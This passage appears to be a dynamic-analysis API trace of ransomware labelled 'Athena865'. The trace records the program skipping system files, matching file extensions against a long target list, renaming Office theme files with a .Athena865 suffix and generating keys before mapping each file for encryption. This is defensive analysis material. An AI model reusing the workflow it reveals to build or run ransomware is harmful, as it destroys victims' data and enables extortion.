[0065.295] lstrcmpiW (lpString1="hmx", lpString2="spq") returned -1 [0065.295] lstrlenW (lpString="te") returned 2 [0065.295] lstrcmpiW (lpString1="mx", lpString2="te") returned -1 [0065.295] lstrlenW (lpString="teacher") returned 7 [0065.295] lstrcmpiW (lpString1="ic.thmx", lpString2="teacher") returned -1 [0065.295] lstrlenW (lpString="tmd") returned 3 [0065.295] lstrcmpiW (lpString1="hmx", lpString2="tmd") returned -1 [0065.295] lstrlenW (lpString="tps") returned 3 [0065.295] lstrcmpiW (lpString1="hmx", lpString2="tps") returned -1 [0065.295] lstrlenW (lpString="trc") returned 3 [0065.295] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.295] lstrlenW (lpString="trc") returned 3 [0065.295] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.295] lstrlenW (lpString="trm") returned 3 [0065.295] lstrcmpiW (lpString1="hmx", lpString2="trm") returned -1 [0065.295] lstrlenW (lpString="udb") returned 3 [0065.295] lstrcmpiW (lpString1="hmx", lpString2="udb") returned -1 [0065.295] lstrlenW (lpString="udl") returned 3 [0065.295] lstrcmpiW (lpString1="hmx", lpString2="udl") returned -1 [0065.295] lstrlenW (lpString="usr") returned 3 [0065.295] lstrcmpiW (lpString1="hmx", lpString2="usr") returned -1 [0065.295] lstrlenW (lpString="v12") returned 3 [0065.295] lstrcmpiW (lpString1="hmx", lpString2="v12") returned -1 [0065.295] lstrlenW (lpString="vis") returned 3 [0065.295] lstrcmpiW (lpString1="hmx", lpString2="vis") returned -1 [0065.295] lstrlenW (lpString="vpd") returned 3 [0065.295] lstrcmpiW (lpString1="hmx", lpString2="vpd") returned -1 [0065.295] lstrlenW (lpString="vvv") returned 3 [0065.296] lstrcmpiW (lpString1="hmx", lpString2="vvv") returned -1 [0065.296] lstrlenW (lpString="wdb") returned 3 [0065.296] lstrcmpiW (lpString1="hmx", lpString2="wdb") returned -1 [0065.296] lstrlenW (lpString="wmdb") returned 4 [0065.296] lstrcmpiW (lpString1="thmx", lpString2="wmdb") returned -1 [0065.296] lstrlenW (lpString="wrk") returned 3 [0065.296] lstrcmpiW (lpString1="hmx", lpString2="wrk") returned -1 [0065.296] lstrlenW (lpString="xdb") returned 3 [0065.296] lstrcmpiW (lpString1="hmx", lpString2="xdb") returned -1 [0065.296] lstrlenW (lpString="xld") returned 3 [0065.296] lstrcmpiW (lpString1="hmx", lpString2="xld") returned -1 [0065.296] lstrlenW (lpString="xmlff") returned 5 [0065.296] lstrcmpiW (lpString1=".thmx", lpString2="xmlff") returned -1 [0065.296] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx.Athena865") returned 73 [0065.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx.athena865"), dwFlags=0x1) returned 1 [0065.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.297] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=101393) returned 1 [0065.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.298] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.298] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.299] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.299] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18f20, lpName=0x0) returned 0x17c [0065.300] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18f20) returned 0x100000 [0065.414] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.415] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.415] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.415] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.416] CloseHandle (hObject=0x17c) returned 1 [0065.416] CloseHandle (hObject=0x154) returned 1 [0065.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.417] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fb4000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x43fb4000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x105f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Clarity.thmx", cAlternateFileName="CLARIT~1.THM")) returned 1 [0065.417] lstrcmpiW (lpString1="Clarity.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.417] lstrcmpiW (lpString1="Clarity.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.417] lstrcmpiW (lpString1="Clarity.thmx", lpString2=".") returned 1 [0065.417] lstrcmpiW (lpString1="Clarity.thmx", lpString2="..") returned 1 [0065.417] lstrcmpiW (lpString1="Clarity.thmx", lpString2="windows") returned -1 [0065.417] lstrcmpiW (lpString1="Clarity.thmx", lpString2="bootmgr") returned 1 [0065.417] lstrcmpiW (lpString1="Clarity.thmx", lpString2="temp") returned -1 [0065.417] lstrcmpiW (lpString1="Clarity.thmx", lpString2="pagefile.sys") returned -1 [0065.417] lstrcmpiW (lpString1="Clarity.thmx", lpString2="boot") returned 1 [0065.417] lstrcmpiW (lpString1="Clarity.thmx", lpString2="ids.txt") returned -1 [0065.418] lstrcmpiW (lpString1="Clarity.thmx", lpString2="ntuser.dat") returned -1 [0065.418] lstrcmpiW (lpString1="Clarity.thmx", lpString2="perflogs") returned -1 [0065.418] lstrcmpiW (lpString1="Clarity.thmx", lpString2="MSBuild") returned -1 [0065.418] lstrlenW (lpString="Clarity.thmx") returned 12 [0065.418] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Clarity.thmx" | out: lpString1="Clarity.thmx") returned="Clarity.thmx" [0065.418] lstrlenW (lpString="Clarity.thmx") returned 12 [0065.418] lstrlenW (lpString="Athena865") returned 9 [0065.418] lstrcmpiW (lpString1="rity.thmx", lpString2="Athena865") returned 1 [0065.418] lstrlenW (lpString=".dll") returned 4 [0065.418] lstrcmpiW (lpString1="Clarity.thmx", lpString2=".dll") returned 1 [0065.418] lstrlenW (lpString=".lnk") returned 4 [0065.418] lstrcmpiW (lpString1="Clarity.thmx", lpString2=".lnk") returned 1 [0065.418] lstrlenW (lpString=".ini") returned 4 [0065.418] lstrcmpiW (lpString1="Clarity.thmx", lpString2=".ini") returned 1 [0065.418] lstrlenW (lpString=".sys") returned 4 [0065.418] lstrcmpiW (lpString1="Clarity.thmx", lpString2=".sys") returned 1 [0065.418] lstrlenW (lpString="Clarity.thmx") returned 12 [0065.418] lstrlenW (lpString="bak") returned 3 [0065.418] lstrcmpiW (lpString1="hmx", lpString2="bak") returned 1 [0065.418] lstrlenW (lpString="ba_") returned 3 [0065.418] lstrcmpiW (lpString1="hmx", lpString2="ba_") returned 1 [0065.418] lstrlenW (lpString="dbb") returned 3 [0065.418] lstrcmpiW (lpString1="hmx", lpString2="dbb") returned 1 [0065.418] lstrlenW (lpString="vmdk") returned 4 [0065.418] lstrcmpiW (lpString1="thmx", lpString2="vmdk") returned -1 [0065.418] lstrlenW (lpString="rar") returned 3 [0065.418] lstrcmpiW (lpString1="hmx", lpString2="rar") returned -1 [0065.418] lstrlenW (lpString="zip") returned 3 [0065.418] lstrcmpiW (lpString1="hmx", lpString2="zip") returned -1 [0065.418] lstrlenW (lpString="tgz") returned 3 [0065.418] lstrcmpiW (lpString1="hmx", lpString2="tgz") returned -1 [0065.419] lstrlenW (lpString="vbox") returned 4 [0065.419] lstrcmpiW (lpString1="thmx", lpString2="vbox") returned -1 [0065.419] lstrlenW (lpString="vdi") returned 3 [0065.419] lstrcmpiW (lpString1="hmx", lpString2="vdi") returned -1 [0065.419] lstrlenW (lpString="vhd") returned 3 [0065.419] lstrcmpiW (lpString1="hmx", lpString2="vhd") returned -1 [0065.419] lstrlenW (lpString="vhdx") returned 4 [0065.419] lstrcmpiW (lpString1="thmx", lpString2="vhdx") returned -1 [0065.419] lstrlenW (lpString="avhd") returned 4 [0065.419] lstrcmpiW (lpString1="thmx", lpString2="avhd") returned 1 [0065.419] lstrlenW (lpString="db") returned 2 [0065.419] lstrcmpiW (lpString1="mx", lpString2="db") returned 1 [0065.419] lstrlenW (lpString="db2") returned 3 [0065.419] lstrcmpiW (lpString1="hmx", lpString2="db2") returned 1 [0065.419] lstrlenW (lpString="db3") returned 3 [0065.419] lstrcmpiW (lpString1="hmx", lpString2="db3") returned 1 [0065.419] lstrlenW (lpString="dbf") returned 3 [0065.419] lstrcmpiW (lpString1="hmx", lpString2="dbf") returned 1 [0065.419] lstrlenW (lpString="mdf") returned 3 [0065.419] lstrcmpiW (lpString1="hmx", lpString2="mdf") returned -1 [0065.419] lstrlenW (lpString="mdb") returned 3 [0065.419] lstrcmpiW (lpString1="hmx", lpString2="mdb") returned -1 [0065.419] lstrlenW (lpString="sql") returned 3 [0065.419] lstrcmpiW (lpString1="hmx", lpString2="sql") returned -1 [0065.419] lstrlenW (lpString="sqlite") returned 6 [0065.419] lstrcmpiW (lpString1="y.thmx", lpString2="sqlite") returned 1 [0065.419] lstrlenW (lpString="sqlite3") returned 7 [0065.419] lstrcmpiW (lpString1="ty.thmx", lpString2="sqlite3") returned 1 [0065.419] lstrlenW (lpString="sqlitedb") returned 8 [0065.419] lstrcmpiW (lpString1="ity.thmx", lpString2="sqlitedb") returned -1 [0065.419] lstrlenW (lpString="xml") returned 3 [0065.419] lstrcmpiW (lpString1="hmx", lpString2="xml") returned -1 [0065.419] lstrlenW (lpString="$er") returned 3 [0065.420] lstrcmpiW (lpString1="hmx", lpString2="$er") returned 1 [0065.420] lstrlenW (lpString="4dd") returned 3 [0065.420] lstrcmpiW (lpString1="hmx", lpString2="4dd") returned 1 [0065.420] lstrlenW (lpString="4dl") returned 3 [0065.420] lstrcmpiW (lpString1="hmx", lpString2="4dl") returned 1 [0065.420] lstrlenW (lpString="^^^") returned 3 [0065.420] lstrcmpiW (lpString1="hmx", lpString2="^^^") returned 1 [0065.420] lstrlenW (lpString="abs") returned 3 [0065.420] lstrcmpiW (lpString1="hmx", lpString2="abs") returned 1 [0065.420] lstrlenW (lpString="abx") returned 3 [0065.420] lstrcmpiW (lpString1="hmx", lpString2="abx") returned 1 [0065.420] lstrlenW (lpString="accdb") returned 5 [0065.420] lstrcmpiW (lpString1=".thmx", lpString2="accdb") returned -1 [0065.420] lstrlenW (lpString="accdc") returned 5 [0065.420] lstrcmpiW (lpString1=".thmx", lpString2="accdc") returned -1 [0065.420] lstrlenW (lpString="accde") returned 5 [0065.420] lstrcmpiW (lpString1=".thmx", lpString2="accde") returned -1 [0065.420] lstrlenW (lpString="accdr") returned 5 [0065.420] lstrcmpiW (lpString1=".thmx", lpString2="accdr") returned -1 [0065.420] lstrlenW (lpString="accdt") returned 5 [0065.420] lstrcmpiW (lpString1=".thmx", lpString2="accdt") returned -1 [0065.420] lstrlenW (lpString="accdw") returned 5 [0065.420] lstrcmpiW (lpString1=".thmx", lpString2="accdw") returned -1 [0065.420] lstrlenW (lpString="accft") returned 5 [0065.420] lstrcmpiW (lpString1=".thmx", lpString2="accft") returned -1 [0065.420] lstrlenW (lpString="adb") returned 3 [0065.420] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.420] lstrlenW (lpString="adb") returned 3 [0065.420] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.420] lstrlenW (lpString="ade") returned 3 [0065.420] lstrcmpiW (lpString1="hmx", lpString2="ade") returned 1 [0065.420] lstrlenW (lpString="adf") returned 3 [0065.420] lstrcmpiW (lpString1="hmx", lpString2="adf") returned 1 [0065.421] lstrlenW (lpString="adn") returned 3 [0065.421] lstrcmpiW (lpString1="hmx", lpString2="adn") returned 1 [0065.421] lstrlenW (lpString="adp") returned 3 [0065.421] lstrcmpiW (lpString1="hmx", lpString2="adp") returned 1 [0065.421] lstrlenW (lpString="alf") returned 3 [0065.421] lstrcmpiW (lpString1="hmx", lpString2="alf") returned 1 [0065.421] lstrlenW (lpString="ask") returned 3 [0065.421] lstrcmpiW (lpString1="hmx", lpString2="ask") returned 1 [0065.421] lstrlenW (lpString="btr") returned 3 [0065.421] lstrcmpiW (lpString1="hmx", lpString2="btr") returned 1 [0065.421] lstrlenW (lpString="cat") returned 3 [0065.421] lstrcmpiW (lpString1="hmx", lpString2="cat") returned 1 [0065.421] lstrlenW (lpString="cdb") returned 3 [0065.421] lstrcmpiW (lpString1="hmx", lpString2="cdb") returned 1 [0065.421] lstrlenW (lpString="ckp") returned 3 [0065.421] lstrcmpiW (lpString1="hmx", lpString2="ckp") returned 1 [0065.421] lstrlenW (lpString="cma") returned 3 [0065.421] lstrcmpiW (lpString1="hmx", lpString2="cma") returned 1 [0065.421] lstrlenW (lpString="cpd") returned 3 [0065.421] lstrcmpiW (lpString1="hmx", lpString2="cpd") returned 1 [0065.421] lstrlenW (lpString="dacpac") returned 6 [0065.421] lstrcmpiW (lpString1="y.thmx", lpString2="dacpac") returned 1 [0065.421] lstrlenW (lpString="dad") returned 3 [0065.421] lstrcmpiW (lpString1="hmx", lpString2="dad") returned 1 [0065.421] lstrlenW (lpString="dadiagrams") returned 10 [0065.421] lstrcmpiW (lpString1="arity.thmx", lpString2="dadiagrams") returned -1 [0065.421] lstrlenW (lpString="daschema") returned 8 [0065.421] lstrcmpiW (lpString1="ity.thmx", lpString2="daschema") returned 1 [0065.421] lstrlenW (lpString="db-journal") returned 10 [0065.421] lstrcmpiW (lpString1="arity.thmx", lpString2="db-journal") returned -1 [0065.421] lstrlenW (lpString="db-shm") returned 6 [0065.421] lstrcmpiW (lpString1="y.thmx", lpString2="db-shm") returned 1 [0065.421] lstrlenW (lpString="db-wal") returned 6 [0065.421] lstrcmpiW (lpString1="y.thmx", lpString2="db-wal") returned 1 [0065.422] lstrlenW (lpString="dbc") returned 3 [0065.422] lstrcmpiW (lpString1="hmx", lpString2="dbc") returned 1 [0065.422] lstrlenW (lpString="dbs") returned 3 [0065.422] lstrcmpiW (lpString1="hmx", lpString2="dbs") returned 1 [0065.422] lstrlenW (lpString="dbt") returned 3 [0065.422] lstrcmpiW (lpString1="hmx", lpString2="dbt") returned 1 [0065.422] lstrlenW (lpString="dbv") returned 3 [0065.422] lstrcmpiW (lpString1="hmx", lpString2="dbv") returned 1 [0065.422] lstrlenW (lpString="dbx") returned 3 [0065.422] lstrcmpiW (lpString1="hmx", lpString2="dbx") returned 1 [0065.422] lstrlenW (lpString="dcb") returned 3 [0065.422] lstrcmpiW (lpString1="hmx", lpString2="dcb") returned 1 [0065.422] lstrcmpiW (lpString1="hmx", lpString2="dct") returned 1 [0065.422] lstrcmpiW (lpString1="hmx", lpString2="dcx") returned 1 [0065.422] lstrcmpiW (lpString1="hmx", lpString2="ddl") returned 1 [0065.422] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx.Athena865") returned 75 [0065.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx.athena865"), dwFlags=0x1) returned 1 [0065.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.426] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=67060) returned 1 [0065.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.426] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.427] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.427] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.427] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10900, lpName=0x0) returned 0x17c [0065.429] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10900) returned 0x100000 [0065.432] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.433] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.433] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.433] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.434] CloseHandle (hObject=0x17c) returned 1 [0065.434] CloseHandle (hObject=0x154) returned 1 [0065.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.435] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a20e000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a20e000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8ad4d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Composite.thmx", cAlternateFileName="COMPOS~1.THM")) returned 1 [0065.435] lstrcmpiW (lpString1="Composite.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.435] lstrcmpiW (lpString1="Composite.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.435] lstrcmpiW (lpString1="Composite.thmx", lpString2=".") returned 1 [0065.435] lstrcmpiW (lpString1="Composite.thmx", lpString2="..") returned 1 [0065.435] lstrcmpiW (lpString1="Composite.thmx", lpString2="windows") returned -1 [0065.435] lstrcmpiW (lpString1="Composite.thmx", lpString2="bootmgr") returned 1 [0065.435] lstrcmpiW (lpString1="Composite.thmx", lpString2="temp") returned -1 [0065.435] lstrcmpiW (lpString1="Composite.thmx", lpString2="pagefile.sys") returned -1 [0065.435] lstrcmpiW (lpString1="Composite.thmx", lpString2="boot") returned 1 [0065.435] lstrcmpiW (lpString1="Composite.thmx", lpString2="ids.txt") returned -1 [0065.435] lstrcmpiW (lpString1="Composite.thmx", lpString2="ntuser.dat") returned -1 [0065.435] lstrcmpiW (lpString1="Composite.thmx", lpString2="perflogs") returned -1 [0065.435] lstrcmpiW (lpString1="Composite.thmx", lpString2="MSBuild") returned -1 [0065.435] lstrlenW (lpString="Composite.thmx") returned 14 [0065.435] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Composite.thmx" | out: lpString1="Composite.thmx") returned="Composite.thmx" [0065.435] lstrlenW (lpString="Composite.thmx") returned 14 [0065.435] lstrlenW (lpString="Athena865") returned 9 [0065.435] lstrcmpiW (lpString1="site.thmx", lpString2="Athena865") returned 1 [0065.435] lstrlenW (lpString=".dll") returned 4 [0065.435] lstrcmpiW (lpString1="Composite.thmx", lpString2=".dll") returned 1 [0065.435] lstrlenW (lpString=".lnk") returned 4 [0065.435] lstrcmpiW (lpString1="Composite.thmx", lpString2=".lnk") returned 1 [0065.435] lstrlenW (lpString=".ini") returned 4 [0065.435] lstrcmpiW (lpString1="Composite.thmx", lpString2=".ini") returned 1 [0065.435] lstrlenW (lpString=".sys") returned 4 [0065.435] lstrcmpiW (lpString1="Composite.thmx", lpString2=".sys") returned 1 [0065.436] lstrlenW (lpString="Composite.thmx") returned 14 [0065.436] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx.Athena865") returned 77 [0065.436] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx.athena865"), dwFlags=0x1) returned 1 [0065.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.437] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=568653) returned 1 [0065.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.437] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.438] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.438] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.438] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b050, lpName=0x0) returned 0x17c [0065.440] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b050) returned 0x2d50000 [0065.458] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.459] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.459] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.460] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0065.466] CloseHandle (hObject=0x17c) returned 1 [0065.466] CloseHandle (hObject=0x154) returned 1 [0065.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 